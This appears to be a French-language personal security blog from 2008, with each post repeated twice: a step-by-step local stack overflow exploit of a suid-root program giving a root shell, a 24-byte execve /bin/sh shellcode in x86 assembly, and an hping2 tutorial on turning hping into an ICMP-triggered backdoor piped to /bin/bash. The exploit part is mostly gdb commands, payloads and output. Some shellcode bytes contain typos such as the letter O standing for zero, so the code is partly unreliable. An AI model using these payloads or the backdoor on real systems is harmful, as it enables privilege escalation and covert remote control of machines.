-Si certains d'entre vous sont intéréssés , conatctez-moi par mail ou laissez moi un commentaire afin de savoir qui serait éventuellement intéréssé , posez vos questions et fixer ce qui deviendrai le point de rendez-vous .
* Le jour de rendez-vous sera traditionnellement le 1er Vendredi de chaque mois , a partir de 17h .
Merci a tous .
site du 2600 Fr.
2008/04/13
Local Stack Overflow Exploitation
Comme promis précédemment, voici la suite de l'exploitation des Stack Overflow sous UNIX (en local).
Pour les besoins de cet article , un code vulnérable (vuln.c) ,ainsi que notre shellcode seront nécéssaires ( dans le cadre d'une exploitation réelle , veillez a ce que le programme ait bien le suid root . Vous verrez les programmes le possédant en tapant dans le terminal : "find / -type f -perm -04000 " ).
------ Progs. utiles :
Prog.Vulnérable
le shellcode en hexadécimal
Exemple de Proof Of Concept basé sur vuln.c
------
Dans ce code , la taille du Buffer est de 512 octets.
Les sauvegardes registres , elles , sont codées en 4 octets (registres de 32 Bits).
Les deux arguments de la fonction sont des adresses de buffer codées elles aussi a 4 octets.
On peu donc en déduire que si nous arrivons a écrire 4 octets supplémentaires sur la taille du buffer on écrasera alors les 4 octets d' EBP .
Et si on écrit 4 octets de plus on devrait arrivé a écraser EIP , ainsi , la valeur que l'on aura défini et qui écrasera EIP sera POP dans la pile et, donc lorsque le programme effectura un JUMP , il le fera sur cette valeur la .
Bon , maintenant , il faut tester le buffer afin de voir a quel moment nous écraserons suffisament la pile ( ne pas oublié: on doit écraser EIP de façon a ce que le programme pointe sur l'adresse exacte en mémoire du début de notre shellcode ,afin d'exécuter le code injecté) .
Testons :
(gdb) r `perl -e 'print "A" x512 . "AAAA" . "DCBA"' `
Résultat:
Program received signal SIGSEGV, Segmentation fault.
0x8048400 in main ()
(gdb)
# 1er test ici au départ 512 octets ce qui est insuffisant
(gdb) r `perl -e 'print "A" x514 . "AAAA" . "DCBA"' `
Résultat:
Program received signal SIGSEGV, Segmentation fault.
0x8004142 in ?? ()
(gdb)
# 2eme test on commence écraser EIP a 514 (0x08004142)
On en déduit donc qu'avec 2 octets de plus donc "A" x516 ( soit 4 au total) , on doit arriver a 0x41424344 soit DCBA , la représentation en hexadécimal de DCBA .
(gdb) r `perl -e 'print "A" x516 . "AAAA" . "DCBA"' `
Résultat:
Program received signal SIGSEGV, Segmentation fault.
0x41424344 in ?? ()
(gdb)
Notre objectif , je le rappelle est de faire JUMPER le programme sur notre code ASM injecté en mémoire afin d'exécuter un /bin/sh .
Le meilleur moyen d'y parvenir est de placer le code arbitraire en argument de l'exécutable pour le placer dans le buffer qui subira le débordement de tampon.
On écrase donc EIP avec l'adresse du début du shellcode pour avoir un shell (/bin/sh) root .
Pour écraser EIP on envoi 516 octets +2 octets pour arriver au début de notre shellcode soit = "A" x518 , puis ABCD = total de 522 Octets.
Donc pour arriver avant EIP, il faut 518 octets car au-dela , nous l'écraseront.
En utilisera donc des NOP ( ne fait rien) jusqu'a ce que le shellcode soit exécuté.
=> Nous exécutons donc :
A x 154 + 340 NOP (0x90 ou \x90) + 24 octets du shellcode + octet pour EIP = 522 Octets .
On arrive alors a faire pointer ESP sur le début du shellcode a exécuter.
RAPPEL : l'écrasement d'un registre (EIP , EBP ..) se fait par groupe de 4 Octets .
On exécute le shellcode suivant :
(gdb) r `perl -e 'print "A" x156 . "\x90" x340 . "\x31\xCO\x99\x50\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x50\x53\x89\xE1\xBO\xOB\xCD\x80". "DCBA" '`
Puis , nous regardons ce qui se trouve dans EIP.
Nous choisissons une adresse se situant parmis les NOP
(par exemple : 0xbfa412f0)
Enfin , a la place de DCBA , on mettra: "\xf0\x12\xa4\xbf"
(ce qui par la suite deviendra: " \x08\xf3\xff\xbf")
Cet offset ajouter a notre Shelcode donnera donc :
(gdb) r `perl -e 'print "A" x156 . "\x90" x340 . "\x31\xCO\x99\x50\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x50\x53\x89\xE1\xBO\xOB\xCD\x80". "\x08\xf3\xff\xbf" ' `
sh-3.1#
Bingo ! Nous avons obtenu notre shell root alors que le programme lui , a été lancé en utilisateur .
Voila , nous désormais , nous en savons un peu plus sur les Stack Overflow .
Remerciments encore a FaSm pour son zine "Prog!" et ses tutos sur l'asm et les shellcodes .
Pour les besoins de cet article , un code vulnérable (vuln.c) ,ainsi que notre shellcode seront nécéssaires ( dans le cadre d'une exploitation réelle , veillez a ce que le programme ait bien le suid root . Vous verrez les programmes le possédant en tapant dans le terminal : "find / -type f -perm -04000 " ).
------ Progs. utiles :
Prog.Vulnérable
le shellcode en hexadécimal
Exemple de Proof Of Concept basé sur vuln.c
------
Dans ce code , la taille du Buffer est de 512 octets.
Les sauvegardes registres , elles , sont codées en 4 octets (registres de 32 Bits).
Les deux arguments de la fonction sont des adresses de buffer codées elles aussi a 4 octets.
On peu donc en déduire que si nous arrivons a écrire 4 octets supplémentaires sur la taille du buffer on écrasera alors les 4 octets d' EBP .
Et si on écrit 4 octets de plus on devrait arrivé a écraser EIP , ainsi , la valeur que l'on aura défini et qui écrasera EIP sera POP dans la pile et, donc lorsque le programme effectura un JUMP , il le fera sur cette valeur la .
Bon , maintenant , il faut tester le buffer afin de voir a quel moment nous écraserons suffisament la pile ( ne pas oublié: on doit écraser EIP de façon a ce que le programme pointe sur l'adresse exacte en mémoire du début de notre shellcode ,afin d'exécuter le code injecté) .
Testons :
(gdb) r `perl -e 'print "A" x512 . "AAAA" . "DCBA"' `
Résultat:
Program received signal SIGSEGV, Segmentation fault.
0x8048400 in main ()
(gdb)
# 1er test ici au départ 512 octets ce qui est insuffisant
(gdb) r `perl -e 'print "A" x514 . "AAAA" . "DCBA"' `
Résultat:
Program received signal SIGSEGV, Segmentation fault.
0x8004142 in ?? ()
(gdb)
# 2eme test on commence écraser EIP a 514 (0x08004142)
On en déduit donc qu'avec 2 octets de plus donc "A" x516 ( soit 4 au total) , on doit arriver a 0x41424344 soit DCBA , la représentation en hexadécimal de DCBA .
(gdb) r `perl -e 'print "A" x516 . "AAAA" . "DCBA"' `
Résultat:
Program received signal SIGSEGV, Segmentation fault.
0x41424344 in ?? ()
(gdb)
Notre objectif , je le rappelle est de faire JUMPER le programme sur notre code ASM injecté en mémoire afin d'exécuter un /bin/sh .
Le meilleur moyen d'y parvenir est de placer le code arbitraire en argument de l'exécutable pour le placer dans le buffer qui subira le débordement de tampon.
On écrase donc EIP avec l'adresse du début du shellcode pour avoir un shell (/bin/sh) root .
Pour écraser EIP on envoi 516 octets +2 octets pour arriver au début de notre shellcode soit = "A" x518 , puis ABCD = total de 522 Octets.
Donc pour arriver avant EIP, il faut 518 octets car au-dela , nous l'écraseront.
En utilisera donc des NOP ( ne fait rien) jusqu'a ce que le shellcode soit exécuté.
=> Nous exécutons donc :
A x 154 + 340 NOP (0x90 ou \x90) + 24 octets du shellcode + octet pour EIP = 522 Octets .
On arrive alors a faire pointer ESP sur le début du shellcode a exécuter.
RAPPEL : l'écrasement d'un registre (EIP , EBP ..) se fait par groupe de 4 Octets .
On exécute le shellcode suivant :
(gdb) r `perl -e 'print "A" x156 . "\x90" x340 . "\x31\xCO\x99\x50\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x50\x53\x89\xE1\xBO\xOB\xCD\x80". "DCBA" '`
Puis , nous regardons ce qui se trouve dans EIP.
Nous choisissons une adresse se situant parmis les NOP
(par exemple : 0xbfa412f0)
Enfin , a la place de DCBA , on mettra: "\xf0\x12\xa4\xbf"
(ce qui par la suite deviendra: " \x08\xf3\xff\xbf")
Cet offset ajouter a notre Shelcode donnera donc :
(gdb) r `perl -e 'print "A" x156 . "\x90" x340 . "\x31\xCO\x99\x50\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x50\x53\x89\xE1\xBO\xOB\xCD\x80". "\x08\xf3\xff\xbf" ' `
sh-3.1#
Bingo ! Nous avons obtenu notre shell root alors que le programme lui , a été lancé en utilisateur .
Voila , nous désormais , nous en savons un peu plus sur les Stack Overflow .
Remerciments encore a FaSm pour son zine "Prog!" et ses tutos sur l'asm et les shellcodes .
2008/04/12
Shellcode et Port Binder en ASM x86 (32 Bits )
Voila , je débute dans l'Asm .
Je posterai ici mes avancées dans ce domaine passionant : celui du langage "machine" .
Voici un exploit utilisant la fonction Syscall Execve (), écrite ici en ASM ,et ayant pour Argument la chaine de caractère que l'on a défini au préalable (commande a exécuter ),ainsi que le caractère de fin de chaine : //bin/sh.
Code réalisé dans le cadre d'une exploitation de Stack Overflow sur systeme UNIX( explications et exploit complet a venir ).
Remerciement a FaSm pour ces tutoriaux de qualités sans qui , ce code ne serait certainement pas la.
Le code assembleur suivant permet l'ouverture d'un shell ( /bin/sh )
BITS 32
xor eax,eax
cdg
push eax
push long 0x68732f6e
push long 0x69622f2f
mov ebx,esp
push eax
push ebx
mov ecx,esp
mov al,0x0b
int 0x80
Ce qui , une fois transformé en hexadécimal donnerait :
"\x31\xCO\x99\x50\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89
\xE3\x50\x53\x89\xE1\xBO\xOB\xCD\x80"
Soit un Shellcode en hexa de 24 octets .
Suite au fur et a mesure de mon avancement .
Autre exemple de code ASM trés utilisé :
un Port Binding Shell
Lui aussi est basé sur le Syscall execve() mais effectu une connexion via un port .
Il créé la Socket , écoute et accepte une connexion tout en lui offrant un /bin/sh .
Voir le code ici : Port-binding-shell
merci a tous !
Je posterai ici mes avancées dans ce domaine passionant : celui du langage "machine" .
Voici un exploit utilisant la fonction Syscall Execve (), écrite ici en ASM ,et ayant pour Argument la chaine de caractère que l'on a défini au préalable (commande a exécuter ),ainsi que le caractère de fin de chaine : //bin/sh.
Code réalisé dans le cadre d'une exploitation de Stack Overflow sur systeme UNIX( explications et exploit complet a venir ).
Remerciement a FaSm pour ces tutoriaux de qualités sans qui , ce code ne serait certainement pas la.
Le code assembleur suivant permet l'ouverture d'un shell ( /bin/sh )
BITS 32
xor eax,eax
cdg
push eax
push long 0x68732f6e
push long 0x69622f2f
mov ebx,esp
push eax
push ebx
mov ecx,esp
mov al,0x0b
int 0x80
Ce qui , une fois transformé en hexadécimal donnerait :
"\x31\xCO\x99\x50\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89
\xE3\x50\x53\x89\xE1\xBO\xOB\xCD\x80"
Soit un Shellcode en hexa de 24 octets .
Suite au fur et a mesure de mon avancement .
Autre exemple de code ASM trés utilisé :
un Port Binding Shell
Lui aussi est basé sur le Syscall execve() mais effectu une connexion via un port .
Il créé la Socket , écoute et accepte une connexion tout en lui offrant un /bin/sh .
Voir le code ici : Port-binding-shell
merci a tous !
Utilisations avancées de Hping2
Salut a tous et a toutes !
Hping2 permet en effet de réaliser plusieurs choses intéréssantes comme l'envoi de paquets via les protocoles TCP,UDP ou ICMP en modifiant leurs entetes .
(exemple: HPING2 site.com -p 80 -a ip.a.utiliser.ici -S)
Bon , ça on le sais , pas de souci , on peu aussi scanner avec grace a la commande --scan ( HPING2 --scan 20-80 -S site.fr)ce qui renvoi les noms de services en écoute , les flags etc.. de cette maniere :
[user@localhost]# hping2 --scan 20-80 -S site.fr
Scanning site.fr (216.239.59.104), port 20-80
61 ports to scan, use -V to see all the replies
+----+-----------+---------+---+-----+-----+
|port| serv name | flags |ttl| id | win |
+----+-----------+---------+---+-----+-----+
Bon , c'est bien zoli ça mais quand tu parlais d'utilisations avancées tu parlais de ça .??
Mais non , rassurez-vous , ceci n'est qu'un rappel des bases de Hping.
Approfondissons maintenant :
-Hping permet également d'envoyer des paquets contenants des données via les protocoles choisis
par l'user.
Voici les fonctions le permettants :
UDP: -2
ICMP: -1
TCP : par défaut
Pour inclure les données a envoyer dans les paquets, on devra créer un fichier les contenants et utiliser la commande -E en indiquant le PATH du fichier.
(Exemple: HPING2 -1 site.fr -E /user/Desktop/test.txt -d 50 ) -d permet d'afficher la taille du fichier (en octets bien sur).
Hping2 permet aussi d'écouter des paquets contenant une signature (chaine de caracteres) sur une machine grace a l'instruction --listen signature -icmp (si on utilise ce protocole).
Bon , maintenant imaginez que cette fonction soit utilisée sur une machine autre que la votre en y ajoutant ceci : --listen signature -icmp | /bin/bash que ce passerai - t-il ?
Et bien Hping servira alors de troyen !
En effet , si on l'utilise de cette maniere , alors il se met en écoute de paquets ICMP et transmet alors les données reçues au programme /bin/bash et , donc aurait pour effet d'exécuter un Shell sur la machine distante .
Il suffit donc d'envoyer un paquet ICMP avec en données une commande Shell sans oublier la signature pour que la paquet soit identifiable,et ce de cette maniere :
HPING2 ici.ip.a.saisir -e signature -E path/du/fichier/de/donnée -d 50 -1.
Voila pour ce petit tuto sur les fonctions avancées de Hping2 .
a Bientot .
Hping2 permet en effet de réaliser plusieurs choses intéréssantes comme l'envoi de paquets via les protocoles TCP,UDP ou ICMP en modifiant leurs entetes .
(exemple: HPING2 site.com -p 80 -a ip.a.utiliser.ici -S)
Bon , ça on le sais , pas de souci , on peu aussi scanner avec grace a la commande --scan ( HPING2 --scan 20-80 -S site.fr)ce qui renvoi les noms de services en écoute , les flags etc.. de cette maniere :
[user@localhost]# hping2 --scan 20-80 -S site.fr
Scanning site.fr (216.239.59.104), port 20-80
61 ports to scan, use -V to see all the replies
+----+-----------+---------+---+-----+-----+
|port| serv name | flags |ttl| id | win |
+----+-----------+---------+---+-----+-----+
Bon , c'est bien zoli ça mais quand tu parlais d'utilisations avancées tu parlais de ça .??
Mais non , rassurez-vous , ceci n'est qu'un rappel des bases de Hping.
Approfondissons maintenant :
-Hping permet également d'envoyer des paquets contenants des données via les protocoles choisis
par l'user.
Voici les fonctions le permettants :
UDP: -2
ICMP: -1
TCP : par défaut
Pour inclure les données a envoyer dans les paquets, on devra créer un fichier les contenants et utiliser la commande -E en indiquant le PATH du fichier.
(Exemple: HPING2 -1 site.fr -E /user/Desktop/test.txt -d 50 ) -d permet d'afficher la taille du fichier (en octets bien sur).
Hping2 permet aussi d'écouter des paquets contenant une signature (chaine de caracteres) sur une machine grace a l'instruction --listen signature -icmp (si on utilise ce protocole).
Bon , maintenant imaginez que cette fonction soit utilisée sur une machine autre que la votre en y ajoutant ceci : --listen signature -icmp | /bin/bash que ce passerai - t-il ?
Et bien Hping servira alors de troyen !
En effet , si on l'utilise de cette maniere , alors il se met en écoute de paquets ICMP et transmet alors les données reçues au programme /bin/bash et , donc aurait pour effet d'exécuter un Shell sur la machine distante .
Il suffit donc d'envoyer un paquet ICMP avec en données une commande Shell sans oublier la signature pour que la paquet soit identifiable,et ce de cette maniere :
HPING2 ici.ip.a.saisir -e signature -E path/du/fichier/de/donnée -d 50 -1.
Voila pour ce petit tuto sur les fonctions avancées de Hping2 .
a Bientot .
Au commencement ....
Salut a tous !
Bon ,ben je me lance moi aussi dans la création de mon "repère"... ;)
Ici vous retrouverez mes papers et autres codes sources , qui vous permettrons de découvrir mes travaux et projets dans le domaine de la sécurité informatique .
J'espere apporter ici des infos qui vous seront utiles .
kmkz
Bon ,ben je me lance moi aussi dans la création de mon "repère"... ;)
Ici vous retrouverez mes papers et autres codes sources , qui vous permettrons de découvrir mes travaux et projets dans le domaine de la sécurité informatique .
J'espere apporter ici des infos qui vous seront utiles .
kmkz
Inscription à :
Articles (Atom)